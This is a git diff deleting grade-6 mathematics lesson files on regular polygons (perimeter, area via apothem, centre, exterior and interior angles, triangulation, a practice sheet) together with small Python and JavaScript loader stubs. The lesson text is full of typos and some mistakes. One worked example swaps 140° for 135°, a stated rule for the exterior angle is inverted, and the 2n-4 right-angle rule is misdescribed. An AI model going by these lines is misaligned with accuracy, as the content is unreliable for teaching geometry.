- <br />
- Area=Side(S)*side(SS)
- <br />
- <br />
- Area=S*S
- <br />
- =5cm*5cm=25cm
- <sup>
-  2
-  <br />
- </sup>
- <br />
- 3.
- <span style="font-weight: bold;">
-  Regular Pentagon
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  5 lines of symetry
- </li>
- <li>
-  A line from the centre to vertex bisects the angle aat the vertex
- </li>
- <li>
-  All exterior anngles add to 360
-  <sup>
-   o
-  </sup>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  Notice: For all regular polygon, all sides and angles are equal.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Perimeter(P)
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
- </span>
- (Diagram)
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  <br />
- </span>
- P=sum of all sides
- <span style="font-weight: bold;">
- </span>
- Or Side(S)*5
- <br />
- <span style="font-weight: bold;">
-  p=8cm+8cm+8cm+8cm+8cm=40cm
-  <br />
-  <br />
-  or
-  <br />
-  s: side
-  <br />
-  P=s*5
-  <br />
-  P=8cm*5=40cm
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Apothem of regular polygon
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <br />
-  (diagram)
-  <br />
-  <br />
-  <br />
-  Apothem=height of a tringle
-  <br />
-  <br />
-  knowledge:
-  <br />
-  <br />
- </span>
- An apothem is the line from the centre of a polygon perpendicular to the sides of polygon.
- <span style="font-weight: bold;">
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Area of regualr polygons.
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-   Regular pentagon
-   <br />
-   <br />
-  </span>
- </span>
- (diagram)
- <br />
- <br />
- The given:
- <br />
- *Apothem=6cm
- <br />
- *P=8cm*5=40cm
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  apothem*Perimeter
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  *6cm*40cm=3cm*40cm=120cm
-  <sup>
-   2
-  </sup>
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Knowledge:
- </span>
- Area of each regular polygon is:
- <br />
- <br />
- <span style="text-decoration: underline;">
-  1
- </span>
- apothem*number of sides*length of the givven side
- <br />
- 2
- <br />
- <br />
- Or
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  *apothem*Perimeter
-  <br />
- </span>
- 2
- <br />
- <span style="font-weight: bold;">
- </span>
- <span style="font-weight: bold;">
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a03/a.txt b/Save_Mathematics/P6/map611m20/map611m20a03/a.txt
deleted file mode 100644
index 50a434e..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a03/a.txt
+++ /dev/null
@@ -1,285 +0,0 @@
-<p>
- <strong>
-  Guided Practice: Angles of regular polhgons
- </strong>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Decagon(10sides)
- </li>
-</ul>
-<p>
- <br />
- Centre angle=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =36
- <sup>
-  o
- </sup>
- <br />
- 10
-</p>
-<ul>
- <li>
-  Duodecagon(12sides)
- </li>
-</ul>
-<p>
- Centre angle=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =30
- <sup>
-  o
- </sup>
- <br />
- 12
- <br />
- <br />
- <span style="font-weight: bold;">
-  Kowledge:
- </span>
- To find the size of each centre angle of regular polygon, you divid 360
- <sup>
-  o
- </sup>
- by the number of its sides.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Number of sides of regular polygon
-  </span>
- </li>
-</ul>
-<p>
- Number of sides=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =9sides (Nonagon)
- <br />
- 40
- <sup>
-  o
- </sup>
- <br />
- <br />
- Number of sides=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =8sides (Octgon)
- <br />
- 45
- <sup>
-  o
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  knowledge:
- </span>
- To find the number of sides of regulaar polygon when centre angle is given, we use the following formula:
- <br />
- <br />
- <span style="font-weight: bold;">
-  Number of sides=
-  <br style="text-decoration: underline;" />
-  <span style="text-decoration: underline;">
-   360
-  </span>
-  <sup>
-   o
-  </sup>
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  centre angle
-  <span style="text-decoration: underline;">
-   <br />
-   <br />
-  </span>
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Exterior angle and number of sides of regular polygons
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  *Exterior angle
- </span>
- <br />
- <br />
- a)(diagram)
- <br />
- <br />
- <br />
- <br />
- This figure has 3 sides
- <br />
- <br />
- Exterior angle=Centre angle
- <br />
- <br />
- y+y+y=360
- <sup>
-  o
- </sup>
- <br />
- <br />
- 3y=360
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- y=360
- <sup>
-  o
- </sup>
- /3
- <br />
- <br />
- y=120
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- <br />
- b) (diagram)
- <br />
- <br />
- This figure has 4sides
- <br />
- <br />
- n+n+n+n=360
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- 4n=360
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- n=360
- <sup>
-  o
- </sup>
- /4=90
- <sup>
-  o
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- To find the size of each angle of a regular polygon, you divide 360
- <sup>
-  o
- </sup>
- by number of sides.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  **Number of sides
-  <br />
-  <br />
- </span>
- Find the number of sides of polygoon whose exterior angle is:
- <br />
- <br />
- a)30
- <sup>
-  o
- </sup>
- <br />
- <br />
- Number of sides =
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =12sides
- <br />
- 30
- <sup>
-  o
- </sup>
- <br />
- <br />
- b) 60
- <sup>
-  o
- </sup>
- <br />
- <br />
- Number of sides=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =6sides
- <br />
- 60
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a03/description.py b/Save_Mathematics/P6/map611m20/map611m20a03/description.py
deleted file mode 100644
index c5ca12e..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a03/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a03/lesson.js
deleted file mode 100644
index 98bbe57..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a03/source.txt b/Save_Mathematics/P6/map611m20/map611m20a03/source.txt
deleted file mode 100644
index 50a434e..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a03/source.txt
+++ /dev/null
@@ -1,285 +0,0 @@
-<p>
- <strong>
-  Guided Practice: Angles of regular polhgons
- </strong>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Decagon(10sides)
- </li>
-</ul>
-<p>
- <br />
- Centre angle=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =36
- <sup>
-  o
- </sup>
- <br />
- 10
-</p>
-<ul>
- <li>
-  Duodecagon(12sides)
- </li>
-</ul>
-<p>
- Centre angle=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =30
- <sup>
-  o
- </sup>
- <br />
- 12
- <br />
- <br />
- <span style="font-weight: bold;">
-  Kowledge:
- </span>
- To find the size of each centre angle of regular polygon, you divid 360
- <sup>
-  o
- </sup>
- by the number of its sides.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Number of sides of regular polygon
-  </span>
- </li>
-</ul>
-<p>
- Number of sides=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =9sides (Nonagon)
- <br />
- 40
- <sup>
-  o
- </sup>
- <br />
- <br />
- Number of sides=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =8sides (Octgon)
- <br />
- 45
- <sup>
-  o
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  knowledge:
- </span>
- To find the number of sides of regulaar polygon when centre angle is given, we use the following formula:
- <br />
- <br />
- <span style="font-weight: bold;">
-  Number of sides=
-  <br style="text-decoration: underline;" />
-  <span style="text-decoration: underline;">
-   360
-  </span>
-  <sup>
-   o
-  </sup>
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  centre angle
-  <span style="text-decoration: underline;">
-   <br />
-   <br />
-  </span>
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Exterior angle and number of sides of regular polygons
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  *Exterior angle
- </span>
- <br />
- <br />
- a)(diagram)
- <br />
- <br />
- <br />
- <br />
- This figure has 3 sides
- <br />
- <br />
- Exterior angle=Centre angle
- <br />
- <br />
- y+y+y=360
- <sup>
-  o
- </sup>
- <br />
- <br />
- 3y=360
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- y=360
- <sup>
-  o
- </sup>
- /3
- <br />
- <br />
- y=120
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- <br />
- b) (diagram)
- <br />
- <br />
- This figure has 4sides
- <br />
- <br />
- n+n+n+n=360
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- 4n=360
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- n=360
- <sup>
-  o
- </sup>
- /4=90
- <sup>
-  o
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- To find the size of each angle of a regular polygon, you divide 360
- <sup>
-  o
- </sup>
- by number of sides.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  **Number of sides
-  <br />
-  <br />
- </span>
- Find the number of sides of polygoon whose exterior angle is:
- <br />
- <br />
- a)30
- <sup>
-  o
- </sup>
- <br />
- <br />
- Number of sides =
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =12sides
- <br />
- 30
- <sup>
-  o
- </sup>
- <br />
- <br />
- b) 60
- <sup>
-  o
- </sup>
- <br />
- <br />
- Number of sides=
- <br />
- <span style="text-decoration: underline;">
-  360
- </span>
- <sup>
-  o
- </sup>
- =6sides
- <br />
- 60
- <sup>
-  o
- </sup>
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a04/a.txt b/Save_Mathematics/P6/map611m20/map611m20a04/a.txt
deleted file mode 100644
index 1e81eaa..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a04/a.txt
+++ /dev/null
@@ -1,96 +0,0 @@
-<p>
- Guided Practice: Exterior and interior angle polygons.
- <br />
- <br />
- a) Find the exterior angle if interior angle is 140
- <sup>
-  o
- </sup>
- <br />
- <br />
- Interior +Exterior=180
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- (diagram)
- <br />
- <br />
- <br />
- 135
- <sup>
-  o
- </sup>
- +Exterior=180
- <sup>
-  o
- </sup>
- <br />
- Exterior=180
- <sup>
-  o
- </sup>
- -135
- <sup>
-  o
- </sup>
- <br />
- Exterior=45
- <sup>
-  o
- </sup>
- <br />
- <br />
- b) Find the interior angle if exterior angle is 160
- <sup>
-  o
- </sup>
- <br />
- <br />
- (diagram)
- <br />
- <br />
- <br />
- Interior+Exterior=180
- <sup>
-  o
- </sup>
- <br />
- Interior+160
- <sup>
-  o
- </sup>
- =180
- <sup>
-  o
- </sup>
- <br />
- Interior=180
- <sup>
-  o
- </sup>
- -160
- <sup>
-  o
- </sup>
- <br />
- Interior=20
- <sup>
-  o
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
- </span>
- a) To find the size of the exterior angle of a regular polygon, subtract the exterior angle from 180
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a04/description.py b/Save_Mathematics/P6/map611m20/map611m20a04/description.py
deleted file mode 100644
index 4bf3fa1..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a04/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a04/lesson.js
deleted file mode 100644
index a0175fa..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a04/source.txt b/Save_Mathematics/P6/map611m20/map611m20a04/source.txt
deleted file mode 100644
index 1e81eaa..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a04/source.txt
+++ /dev/null
@@ -1,96 +0,0 @@
-<p>
- Guided Practice: Exterior and interior angle polygons.
- <br />
- <br />
- a) Find the exterior angle if interior angle is 140
- <sup>
-  o
- </sup>
- <br />
- <br />
- Interior +Exterior=180
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- (diagram)
- <br />
- <br />
- <br />
- 135
- <sup>
-  o
- </sup>
- +Exterior=180
- <sup>
-  o
- </sup>
- <br />
- Exterior=180
- <sup>
-  o
- </sup>
- -135
- <sup>
-  o
- </sup>
- <br />
- Exterior=45
- <sup>
-  o
- </sup>
- <br />
- <br />
- b) Find the interior angle if exterior angle is 160
- <sup>
-  o
- </sup>
- <br />
- <br />
- (diagram)
- <br />
- <br />
- <br />
- Interior+Exterior=180
- <sup>
-  o
- </sup>
- <br />
- Interior+160
- <sup>
-  o
- </sup>
- =180
- <sup>
-  o
- </sup>
- <br />
- Interior=180
- <sup>
-  o
- </sup>
- -160
- <sup>
-  o
- </sup>
- <br />
- Interior=20
- <sup>
-  o
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
- </span>
- a) To find the size of the exterior angle of a regular polygon, subtract the exterior angle from 180
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a05/a.txt b/Save_Mathematics/P6/map611m20/map611m20a05/a.txt
deleted file mode 100644
index c681764..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a05/a.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-<p>
- Guided Practice: Finding the number of triangles in a polygon (Triangulation)
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- This figure has 8sides, it is an octaagon.
- <br />
- When we start are vertex and we draw diagonal to form triangles, the number of triangles =n-2*n stands of number of sides.
- <br />
- <br />
- Number of triangles=
- <br />
- n-2=8-2=6 triangles
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- Number of triangles is less than number of sides by 2.
- <br />
- <br />
- <span style="font-weight: bold;">
-  N
-  <sup>
-   o
-  </sup>
-  of triangles=n-2
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Find the number of right triangles
- </li>
-</ul>
-<p>
- a) Heptagon (7sides)
- <br />
- <br />
- N
- <sup>
-  o
- </sup>
- of right angles=
- <br />
- 2n-4=2*7-4=14-4=10
- <br />
- <br />
- b) Duodecagone(12sides)
- <br />
- <br />
- Number of right angles=
- <br />
- 2n-4=2*12-4=24-4=20
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- The number of right angles is two times the number of triangles minus four (2n-4).
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a05/description.py b/Save_Mathematics/P6/map611m20/map611m20a05/description.py
deleted file mode 100644
index bfef43e..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a05/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a05/lesson.js
deleted file mode 100644
index af6f5d3..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a05/source.txt b/Save_Mathematics/P6/map611m20/map611m20a05/source.txt
deleted file mode 100644
index c681764..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a05/source.txt
+++ /dev/null
@@ -1,67 +0,0 @@
-<p>
- Guided Practice: Finding the number of triangles in a polygon (Triangulation)
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- This figure has 8sides, it is an octaagon.
- <br />
- When we start are vertex and we draw diagonal to form triangles, the number of triangles =n-2*n stands of number of sides.
- <br />
- <br />
- Number of triangles=
- <br />
- n-2=8-2=6 triangles
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- Number of triangles is less than number of sides by 2.
- <br />
- <br />
- <span style="font-weight: bold;">
-  N
-  <sup>
-   o
-  </sup>
-  of triangles=n-2
- </span>
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Find the number of right triangles
- </li>
-</ul>
-<p>
- a) Heptagon (7sides)
- <br />
- <br />
- N
- <sup>
-  o
- </sup>
- of right angles=
- <br />
- 2n-4=2*7-4=14-4=10
- <br />
- <br />
- b) Duodecagone(12sides)
- <br />
- <br />
- Number of right angles=
- <br />
- 2n-4=2*12-4=24-4=20
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
- </span>
- The number of right angles is two times the number of triangles minus four (2n-4).
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a06/a.txt b/Save_Mathematics/P6/map611m20/map611m20a06/a.txt
deleted file mode 100644
index 4c2891d..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a06/a.txt
+++ /dev/null
@@ -1,160 +0,0 @@
-<p>
- Independent Practice
- <br />
- <br />
- <span style="font-weight: bold;">
-  Answer the following:
-  <br />
-  <br />
- </span>
- 1.Find the perimeter of:
- <br />
- a) A regular triangle whose one side is 16cm.
- <br />
- b) A regular octagon whose sides iss 18cm
- <br />
- c) A regular square whose sides is 12cm each.
- <br />
- <br />
- 2. Find the area of:
- <br />
- a) A regular squae whose one side is 15cm
- <br />
- b) A regular triangle whosse one side is 20cm and apothem of 14cm.
- <br />
- c) A regular Nanogon whose side is 18cm and apothem of 16ccm.
- <br />
- <br />
- 3. Find the size of each centre angle of reular polygon of:
- <br />
- a) 10sides
- <br />
- b) 9sides
- <br />
- <br />
- 4. Find the number of sides of regular polygon whose centre angle is:
- <br />
- a) 40
- <sup>
-  o
- </sup>
- <br />
- b) 72
- <sup>
-  o
- </sup>
- <br />
- <br />
- 5. Find the size of each exterior angle of rregular polygon whose number of sides are:
- <br />
- a) 8sides
- <br />
- b) 6sides
- <br />
- <br />
- 6. Find the number of sides of polygon whose exterior angle is:
- <br />
- a) 36
- <sup>
-  o
- </sup>
- <br />
- b) 45
- <sup>
-  o
- </sup>
- <br />
- <br />
- 7. Find the exterior angle of a polygon whose interior angle is
- <br />
- a) 120
- <sup>
-  o
- </sup>
- <br />
- b) 150
- <sup>
-  o
- </sup>
- <br />
- <br />
- 8. Find the interior angle of triangles that can be obtained in a polygon of:
- <br />
- a) 8sides
- <br />
- b) 4sides
- <br />
- <br />
- 9. Find the interior angle of a regular polygon whose exterior angle is
- <br />
- a)50
- <sup>
-  o
- </sup>
- <br />
- b)75
- <sup>
-  o
- </sup>
- <br />
- <br />
- 10. Find the number of right angles of the following polygons:
- <br />
- a) 12 sides
- <br />
- b) 5 sides
- <br />
- <br />
- 11.Find the sum of the interior angles of a polygon whose number of sides are:
- <br />
- a) 11 sides
- <br />
- b) 7sides
- <br />
- <br />
- 12. Use the triangulation method to find the angle sum of the following polygons
- <br />
- a) Hexagon
- <br />
- b) Nonagon
- <br />
- <br />
- 13. Find the number of trianges of a polygon whose interior angle sum is
- <br />
- a) 810
- <sup>
-  o
- </sup>
- <br />
- b) 630
- <sup>
-  o
- </sup>
- <br />
- <br />
- 14. Find the number of sides of a polygon whose number of triangles are:
- <br />
- a)7
- <br />
- b)12
- <br />
- <br />
- 15. Find the number of sides whose interior angle sum is:
- <br />
- a) 1620
- <sup>
-  o
- </sup>
- <br />
- b) 900
- <sup>
-  o
- </sup>
- <br />
- <br />
- 16. Find the interior angle sum of
- <br />
- a) a Duodecagon
- <br />
- b) Find the interior angle sum of an octagon.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a06/description.py b/Save_Mathematics/P6/map611m20/map611m20a06/description.py
deleted file mode 100644
index c5e59a0..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a06/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a06/lesson.js
deleted file mode 100644
index 291901c..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a06/source.txt b/Save_Mathematics/P6/map611m20/map611m20a06/source.txt
deleted file mode 100644
index 4c2891d..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a06/source.txt
+++ /dev/null
@@ -1,160 +0,0 @@
-<p>
- Independent Practice
- <br />
- <br />
- <span style="font-weight: bold;">
-  Answer the following:
-  <br />
-  <br />
- </span>
- 1.Find the perimeter of:
- <br />
- a) A regular triangle whose one side is 16cm.
- <br />
- b) A regular octagon whose sides iss 18cm
- <br />
- c) A regular square whose sides is 12cm each.
- <br />
- <br />
- 2. Find the area of:
- <br />
- a) A regular squae whose one side is 15cm
- <br />
- b) A regular triangle whosse one side is 20cm and apothem of 14cm.
- <br />
- c) A regular Nanogon whose side is 18cm and apothem of 16ccm.
- <br />
- <br />
- 3. Find the size of each centre angle of reular polygon of:
- <br />
- a) 10sides
- <br />
- b) 9sides
- <br />
- <br />
- 4. Find the number of sides of regular polygon whose centre angle is:
- <br />
- a) 40
- <sup>
-  o
- </sup>
- <br />
- b) 72
- <sup>
-  o
- </sup>
- <br />
- <br />
- 5. Find the size of each exterior angle of rregular polygon whose number of sides are:
- <br />
- a) 8sides
- <br />
- b) 6sides
- <br />
- <br />
- 6. Find the number of sides of polygon whose exterior angle is:
- <br />
- a) 36
- <sup>
-  o
- </sup>
- <br />
- b) 45
- <sup>
-  o
- </sup>
- <br />
- <br />
- 7. Find the exterior angle of a polygon whose interior angle is
- <br />
- a) 120
- <sup>
-  o
- </sup>
- <br />
- b) 150
- <sup>
-  o
- </sup>
- <br />
- <br />
- 8. Find the interior angle of triangles that can be obtained in a polygon of:
- <br />
- a) 8sides
- <br />
- b) 4sides
- <br />
- <br />
- 9. Find the interior angle of a regular polygon whose exterior angle is
- <br />
- a)50
- <sup>
-  o
- </sup>
- <br />
- b)75
- <sup>
-  o
- </sup>
- <br />
- <br />
- 10. Find the number of right angles of the following polygons:
- <br />
- a) 12 sides
- <br />
- b) 5 sides
- <br />
- <br />
- 11.Find the sum of the interior angles of a polygon whose number of sides are:
- <br />
- a) 11 sides
- <br />
- b) 7sides
- <br />
- <br />
- 12. Use the triangulation method to find the angle sum of the following polygons
- <br />
- a) Hexagon
- <br />
- b) Nonagon
- <br />
- <br />
- 13. Find the number of trianges of a polygon whose interior angle sum is
- <br />
- a) 810
- <sup>
-  o
- </sup>
- <br />
- b) 630
- <sup>
-  o
- </sup>
- <br />
- <br />
- 14. Find the number of sides of a polygon whose number of triangles are:
- <br />
- a)7
- <br />
- b)12
- <br />
- <br />
- 15. Find the number of sides whose interior angle sum is:
- <br />
- a) 1620
- <sup>
-  o
- </sup>
- <br />
- b) 900
- <sup>
-  o
- </sup>
- <br />
- <br />
- 16. Find the interior angle sum of
- <br />
- a) a Duodecagon
- <br />
- b) Find the interior angle sum of an octagon.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a07/a.txt b/Save_Mathematics/P6/map611m20/map611m20a07/a.txt
deleted file mode 100644
index 4c2891d..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a07/a.txt
+++ /dev/null
@@ -1,160 +0,0 @@
-<p>
- Independent Practice
- <br />
- <br />
- <span style="font-weight: bold;">
-  Answer the following:
-  <br />
-  <br />
- </span>
- 1.Find the perimeter of:
- <br />
- a) A regular triangle whose one side is 16cm.
- <br />
- b) A regular octagon whose sides iss 18cm
- <br />
- c) A regular square whose sides is 12cm each.
- <br />
- <br />
- 2. Find the area of:
- <br />
- a) A regular squae whose one side is 15cm
- <br />
- b) A regular triangle whosse one side is 20cm and apothem of 14cm.
- <br />
- c) A regular Nanogon whose side is 18cm and apothem of 16ccm.
- <br />
- <br />
- 3. Find the size of each centre angle of reular polygon of:
- <br />
- a) 10sides
- <br />
- b) 9sides
- <br />
- <br />
- 4. Find the number of sides of regular polygon whose centre angle is:
- <br />
- a) 40
- <sup>
-  o
- </sup>
- <br />
- b) 72
- <sup>
-  o
- </sup>
- <br />
- <br />
- 5. Find the size of each exterior angle of rregular polygon whose number of sides are:
- <br />
- a) 8sides
- <br />
- b) 6sides
- <br />
- <br />
- 6. Find the number of sides of polygon whose exterior angle is:
- <br />
- a) 36
- <sup>
-  o
- </sup>
- <br />
- b) 45
- <sup>
-  o
- </sup>
- <br />
- <br />
- 7. Find the exterior angle of a polygon whose interior angle is
- <br />
- a) 120
- <sup>
-  o
- </sup>
- <br />
- b) 150
- <sup>
-  o
- </sup>
- <br />
- <br />
- 8. Find the interior angle of triangles that can be obtained in a polygon of:
- <br />
- a) 8sides
- <br />
